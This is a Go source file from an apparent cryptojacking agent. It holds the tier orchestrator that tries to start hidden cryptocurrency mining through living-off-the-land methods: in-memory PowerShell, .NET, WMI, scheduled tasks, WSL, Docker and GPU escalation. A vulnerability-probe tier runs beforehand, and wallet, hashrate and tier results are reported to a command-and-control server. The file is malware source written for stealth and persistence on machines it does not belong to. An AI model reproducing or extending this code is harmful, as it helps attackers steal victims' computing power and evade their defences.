449 lines
11 KiB
Go
449 lines
11 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"errors"
|
|
"log"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
var (
|
|
// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring.
|
|
ErrTierNotImplemented = errors.New("tier not implemented")
|
|
// ErrTierChainExhausted is returned when every tier in the onion failed.
|
|
ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
|
|
// ErrTierChainSkipped is returned when every tier gracefully skipped.
|
|
ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
|
|
)
|
|
|
|
// TierHooks wires tier-specific start/stop without importing client.
|
|
type TierHooks struct {
|
|
StartDockerLoad func() error
|
|
StartContainer func() error
|
|
StartWSL func() error
|
|
StartPowerShell func() error
|
|
StartDotnet func() error
|
|
StartInProcess func() error
|
|
StartGPU func() error
|
|
StopDockerLoad func()
|
|
StopContainer func()
|
|
StopWSL func()
|
|
StopPowerShell func()
|
|
StopDotnet func()
|
|
StopInProcess func()
|
|
StopGPU func()
|
|
IsGPUSupported func() bool
|
|
}
|
|
|
|
// TierEventReporter emits tier_report / mining_status events to C2.
|
|
type TierEventReporter func(report TierReport, eventType string)
|
|
|
|
// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
|
|
type TierOrchestrator struct {
|
|
mu sync.RWMutex
|
|
cfg config.RuntimeConfig
|
|
probes EnvironmentProbes
|
|
policy MiningTierPolicy
|
|
chain []LOTLTier
|
|
skipped []LOTLTier
|
|
hooks TierHooks
|
|
report TierEventReporter
|
|
wallet string
|
|
activeTier LOTLTier
|
|
gpuActive bool
|
|
attempts []TierAttempt
|
|
lastError string
|
|
chainExhaust bool
|
|
hashrate float64
|
|
webGPUReady bool
|
|
gpuComputeOK bool
|
|
}
|
|
|
|
// NewTierOrchestrator builds an orchestrator from probes + server policy.
|
|
func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
|
|
chain, skipped := SelectMiningTierChain(probes, policy, cfg)
|
|
return &TierOrchestrator{
|
|
cfg: cfg,
|
|
probes: probes,
|
|
policy: policy,
|
|
chain: chain,
|
|
skipped: skipped,
|
|
hooks: hooks,
|
|
report: report,
|
|
wallet: strings.TrimSpace(cfg.Wallet),
|
|
}
|
|
}
|
|
|
|
// Report returns the current tier snapshot.
|
|
func (o *TierOrchestrator) Report() TierReport {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.buildReport()
|
|
}
|
|
|
|
func (o *TierOrchestrator) buildReport() TierReport {
|
|
attempts := make([]TierAttempt, len(o.attempts))
|
|
copy(attempts, o.attempts)
|
|
chain := make([]LOTLTier, len(o.chain))
|
|
copy(chain, o.chain)
|
|
skipped := make([]LOTLTier, len(o.skipped))
|
|
copy(skipped, o.skipped)
|
|
return TierReport{
|
|
ActiveTier: o.activeTier,
|
|
Attempts: attempts,
|
|
MiningHashrate: o.hashrate,
|
|
TierChainOrder: chain,
|
|
TierChainSkipped: skipped,
|
|
WebGPUReady: o.webGPUReady,
|
|
GPUComputeOK: o.gpuComputeOK,
|
|
}
|
|
}
|
|
|
|
// SetHashrate updates live hashrate included in tier reports.
|
|
func (o *TierOrchestrator) SetHashrate(hps float64) {
|
|
o.mu.Lock()
|
|
o.hashrate = hps
|
|
report := o.buildReport()
|
|
reporter := o.report
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
reporter(report, "tier_report")
|
|
}
|
|
}
|
|
|
|
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
|
func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
|
|
o.mu.RLock()
|
|
chain := o.chain
|
|
cfg := o.cfg
|
|
o.mu.RUnlock()
|
|
|
|
for _, tier := range ProbeTiers(chain) {
|
|
start := time.Now()
|
|
attempt := o.runProbeTier(ctx, tier, cfg)
|
|
attempt.DurationMs = time.Since(start).Milliseconds()
|
|
if attempt.Wallet == "" {
|
|
attempt.Wallet = o.wallet
|
|
}
|
|
o.recordAttemptRecord(attempt)
|
|
if tier == TierWebView2Probe && attempt.OK {
|
|
o.mu.Lock()
|
|
o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
|
|
o.mu.Unlock()
|
|
}
|
|
}
|
|
return o.Report()
|
|
}
|
|
|
|
// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
|
|
func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
|
o.RunProbes(ctx)
|
|
|
|
o.mu.Lock()
|
|
hooks := o.hooks
|
|
primary := PrimaryTiers(o.chain)
|
|
o.mu.Unlock()
|
|
|
|
if len(primary) == 0 {
|
|
primary = []LOTLTier{TierCPUInprocess}
|
|
}
|
|
|
|
var lastErr error
|
|
var skipped int
|
|
for _, tier := range primary {
|
|
select {
|
|
case <-ctx.Done():
|
|
return "", ctx.Err()
|
|
default:
|
|
}
|
|
start := time.Now()
|
|
err := o.invokeTier(tier, hooks)
|
|
duration := time.Since(start)
|
|
if err != nil {
|
|
if errors.Is(err, ErrTierChainSkipped) {
|
|
skipped++
|
|
o.recordAttempt(tier, false, err, duration)
|
|
continue
|
|
}
|
|
lastErr = err
|
|
log.Printf("[lotl-tier] %s failed: %v", tier, err)
|
|
o.recordAttempt(tier, false, err, duration)
|
|
o.stopTier(tier, hooks)
|
|
continue
|
|
}
|
|
o.recordAttempt(tier, true, nil, duration)
|
|
o.setActive(tier)
|
|
o.tryGPUAddon(ctx, hooks)
|
|
return tier, nil
|
|
}
|
|
|
|
o.mu.Lock()
|
|
o.chainExhaust = true
|
|
if lastErr != nil {
|
|
o.lastError = lastErr.Error()
|
|
} else {
|
|
o.lastError = "all LOTL tiers failed"
|
|
}
|
|
report := o.buildReport()
|
|
reporter := o.report
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
reporter(report, "tier_report")
|
|
}
|
|
if skipped == len(primary) {
|
|
return "", ErrTierChainSkipped
|
|
}
|
|
if lastErr != nil {
|
|
return "", lastErr
|
|
}
|
|
return "", ErrTierChainExhausted
|
|
}
|
|
|
|
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
|
switch tier {
|
|
case TierDockerLoad:
|
|
if hooks.StartDockerLoad == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartDockerLoad()
|
|
case TierContainer:
|
|
if hooks.StartContainer == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartContainer()
|
|
case TierWSL:
|
|
if hooks.StartWSL == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartWSL()
|
|
case TierCPUInprocess:
|
|
if hooks.StartInProcess == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartInProcess()
|
|
case TierGPUSubprocess:
|
|
if hooks.StartGPU == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartGPU()
|
|
case TierPSInMemory:
|
|
if hooks.StartPowerShell == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartPowerShell()
|
|
case TierDotnet:
|
|
if hooks.StartDotnet == nil {
|
|
return ErrMethodUnavailable
|
|
}
|
|
return hooks.StartDotnet()
|
|
case TierWMI:
|
|
attempt := RunWMITier(context.Background(), o.cfg)
|
|
o.recordAttemptRecord(attempt)
|
|
if !attempt.OK {
|
|
if attempt.Error == "" {
|
|
return ErrTierChainSkipped
|
|
}
|
|
return errors.New(attempt.Error)
|
|
}
|
|
return nil
|
|
case TierScheduledTask:
|
|
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
|
|
o.recordAttemptRecord(attempt)
|
|
if !attempt.OK {
|
|
if attempt.Error == "" {
|
|
return ErrTierChainSkipped
|
|
}
|
|
return errors.New(attempt.Error)
|
|
}
|
|
return nil
|
|
case TierGPUCompute:
|
|
attempt := RunGPUComputeTier(context.Background(), o.cfg)
|
|
o.recordAttemptRecord(attempt)
|
|
if attempt.OK {
|
|
o.mu.Lock()
|
|
o.gpuComputeOK = true
|
|
o.mu.Unlock()
|
|
}
|
|
return ErrTierChainSkipped
|
|
case TierExeSubprocess:
|
|
return ErrTierNotImplemented
|
|
default:
|
|
return ErrTierNotImplemented
|
|
}
|
|
}
|
|
|
|
func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
|
|
switch tier {
|
|
case TierVulnProbe:
|
|
return RunVulnProbeTier(ctx, cfg)
|
|
case TierWebView2Probe:
|
|
return RunWebView2Probe(ctx, cfg)
|
|
default:
|
|
return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
|
|
}
|
|
}
|
|
|
|
func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
|
|
switch tier {
|
|
case TierDockerLoad:
|
|
if hooks.StopDockerLoad != nil {
|
|
hooks.StopDockerLoad()
|
|
}
|
|
case TierContainer:
|
|
if hooks.StopContainer != nil {
|
|
hooks.StopContainer()
|
|
}
|
|
case TierWSL:
|
|
if hooks.StopWSL != nil {
|
|
hooks.StopWSL()
|
|
}
|
|
case TierPSInMemory:
|
|
if hooks.StopPowerShell != nil {
|
|
hooks.StopPowerShell()
|
|
}
|
|
case TierDotnet:
|
|
if hooks.StopDotnet != nil {
|
|
hooks.StopDotnet()
|
|
}
|
|
case TierCPUInprocess:
|
|
if hooks.StopInProcess != nil {
|
|
hooks.StopInProcess()
|
|
}
|
|
case TierGPUSubprocess:
|
|
if hooks.StopGPU != nil {
|
|
hooks.StopGPU()
|
|
}
|
|
}
|
|
}
|
|
|
|
func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
|
|
o.mu.Lock()
|
|
o.attempts = append(o.attempts, attempt)
|
|
report := o.buildReport()
|
|
reporter := o.report
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
event := "tier_report"
|
|
if !attempt.OK {
|
|
event = "mining_fallback"
|
|
}
|
|
reporter(report, event)
|
|
}
|
|
}
|
|
|
|
func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
|
|
o.mu.Lock()
|
|
attempt := TierAttempt{
|
|
Tier: tier,
|
|
OK: ok,
|
|
DurationMs: duration.Milliseconds(),
|
|
Wallet: o.wallet,
|
|
}
|
|
if err != nil {
|
|
attempt.Error = err.Error()
|
|
}
|
|
o.attempts = append(o.attempts, attempt)
|
|
report := o.buildReport()
|
|
reporter := o.report
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
event := "tier_report"
|
|
if !ok {
|
|
event = "mining_fallback"
|
|
}
|
|
reporter(report, event)
|
|
}
|
|
}
|
|
|
|
func (o *TierOrchestrator) setActive(tier LOTLTier) {
|
|
o.mu.Lock()
|
|
o.activeTier = tier
|
|
o.chainExhaust = false
|
|
report := o.buildReport()
|
|
reporter := o.report
|
|
o.mu.Unlock()
|
|
if reporter != nil {
|
|
reporter(report, "mining_status")
|
|
}
|
|
}
|
|
|
|
func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
|
|
for _, tier := range o.chain {
|
|
if tier != TierGPUSubprocess {
|
|
continue
|
|
}
|
|
o.mu.RLock()
|
|
webGPU := o.webGPUReady
|
|
computeOK := o.gpuComputeOK
|
|
o.mu.RUnlock()
|
|
if !webGPU && !computeOK {
|
|
o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
|
|
return
|
|
}
|
|
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
|
|
return
|
|
}
|
|
select {
|
|
case <-ctx.Done():
|
|
return
|
|
default:
|
|
}
|
|
gpuStart := time.Now()
|
|
if err := hooks.StartGPU(); err != nil {
|
|
o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
|
|
if hooks.StopGPU != nil {
|
|
hooks.StopGPU()
|
|
}
|
|
o.mu.Lock()
|
|
o.gpuActive = false
|
|
o.mu.Unlock()
|
|
return
|
|
}
|
|
o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
|
|
o.mu.Lock()
|
|
o.gpuActive = true
|
|
o.mu.Unlock()
|
|
return
|
|
}
|
|
}
|
|
|
|
// ChainExhausted reports whether every primary tier failed.
|
|
func (o *TierOrchestrator) ChainExhausted() bool {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.chainExhaust
|
|
}
|
|
|
|
// ActiveTier returns the winning primary tier.
|
|
func (o *TierOrchestrator) ActiveTier() LOTLTier {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.activeTier
|
|
}
|
|
|
|
// WebGPUReady reports webview2 probe result.
|
|
func (o *TierOrchestrator) WebGPUReady() bool {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.webGPUReady
|
|
}
|
|
|
|
// GPUComputeReady reports gpu_compute probe success.
|
|
func (o *TierOrchestrator) GPUComputeReady() bool {
|
|
o.mu.RLock()
|
|
defer o.mu.RUnlock()
|
|
return o.gpuComputeOK
|
|
}
|
|
|
|
// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
|
|
func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
|
|
o.mu.Lock()
|
|
o.cfg = cfg
|
|
o.wallet = strings.TrimSpace(cfg.Wallet)
|
|
o.mu.Unlock()
|
|
}
|